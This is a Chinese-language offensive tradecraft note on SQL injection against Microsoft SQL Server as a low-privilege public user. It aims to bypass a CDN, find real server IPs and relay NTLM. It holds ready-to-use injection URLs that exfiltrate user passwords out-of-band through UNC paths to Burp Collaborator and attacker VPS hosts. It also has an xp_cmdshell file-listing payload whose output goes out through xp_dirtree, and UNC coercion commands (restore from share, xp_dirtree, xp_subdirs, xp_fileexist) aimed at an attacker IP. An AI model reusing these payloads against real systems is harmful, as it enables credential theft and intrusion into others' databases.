public非db_owner权限下除了注入找管理员密码外,主要考虑带外通信和ntlm中继,方便打一些大型目标时候绕过cdn找到服务器真实ip段,为后续渗透提供帮助
OPENROWSET(provider\_name,provider\_string,query\_syntax)
provider\_name
An OLE DB provider name.
provider\_string
The OLE DB connection string for the specified provider.
query\_syntax
A query syntax that returns a rowset.
尝试打开一个远程数据库并执行sql查询,这个方法除了使用dns来进行带外通信外,还可以创建一个数据库将受害者的数据导入到创建好的数据库中,文章见
https://www.anquanke.com/post/id/248896#h2-24
也可以用来连接本地数据库在无法闭合的情况下执行堆叠查询,文章见
https://www.secpulse.com/archives/163638.html
该权限在2005版本以后默认关闭 ,需要执行以下命令打开Ad Hoc Distributed Queries
EXEC sp\_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp\_configure 'Ad Hoc Distributed Queries',1;
RECONFIGURE;
但是如果碰到和我我一样的低权限public用户,大概只能得到这样的结果
消息 15247,级别 16,状态 1,过程 sp\_configure,第 105 行
用户没有执行此操作的权限。
消息 5812,级别 14,状态 1,第 2 行
您没有运行 RECONFIGURE 语句的权限。
消息 15123,级别 16,状态 1,过程 sp\_configure,第 62 行
配置选项 'Ad Hoc Distributed Queries' 不存在,也可能是高级选项。
消息 5812,级别 14,状态 1,第 4 行
您没有运行 RECONFIGURE 语句的权限。
fn\_xe\_file\_target\_read\_file
https://vuln.app/getItem?id\= 1+and+exists(select+\*+from+fn\_xe\_file\_target\_read\_file('C:\\\*.xel','\\\\'%2b(select+pass+from+users+where+id\=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\\1.xem',null,null))
要求:VIEW SERVER STATE权限
fn\_get\_audit\_file
https://vuln.app/getItem?id\= 1%2b(select+1+where+exists(select+\*+from+fn\_get\_audit\_file('\\\\'%2b(select+pass+from+users+where+id\=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\\',default,default)))
要求:CONTROL SERVER权限
fn\_trace\_gettable
https://vuln.app/ getItem?id\=1+and+exists(select+\*+from+fn\_trace\_gettable('\\\\'%2b(select+pass+from+users+where+id\=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\\1.trc',default))
要求:CONTROL SERVER权限
文章见:https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
;DECLARE+@q+varchar(1024);SET+@q='\'%2b'vps-ip'%2b(select+top+1+passwords+from+users);EXEC+master..xp_dirtree+@q;--+
注释符号推荐使用单行注释符,多行注释会提示错误:遗漏结尾的注释符号
最后这种方式是要求权限最低的,也是public权限下唯一能执行的方式,如果可以开启xp_cmdshell,但无回显,可以创建临时表读结果带外带穿回来
;CREATE+TABLE+cmdtmp+(dir+varchar(8000));insert+into+cmdtmp(dir)+exec+master..xp\_cmdshell+'for+/r+c%3a\\+%25i+in+(1\*.aspx)+do+%40echo+%25i';DECLARE+@q+varchar(1024);SET+@q\='\\\\'%2b'vps-ip\\'%2b(select+dir+from+cmdtmp);EXEC+master..xp\_dirtree+@q;--+
IIF ( boolean\_expression, true\_value, false\_value )
boolean\_expression
A valid Boolean expression.
If this argument is not a Boolean expression, then a syntax error is raised.
true\_value
Value to return if boolean\_expression evaluates to true.
false\_value
Value to return if boolean\_expression evaluates to false.
举个栗子
1%'+and+iif(exists(select+\*+from+master.dbo.sysobjects+where+xtype='x'+and+name='xp\_cmdshell'),'1','0')+like+'%1
https://github.com/p0dalirius/MSSQL-Analysis-Coerce
restore database peking from disk \= '\\\\192.168.12.30\\backup\\a.bak'
本地复现成功
换成public用户成功,先去请求服务器验证身份信息再去判断用户对数据库有没有restore权限
类似的操作还有
`xp_dirtree '\\<attacker_IP>\any\thing'``exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'``EXEC master..xp_subdirs '\\<attacker_IP>\anything\'``EXEC master..xp_fileexist '\\<attacker_IP>\anything\'`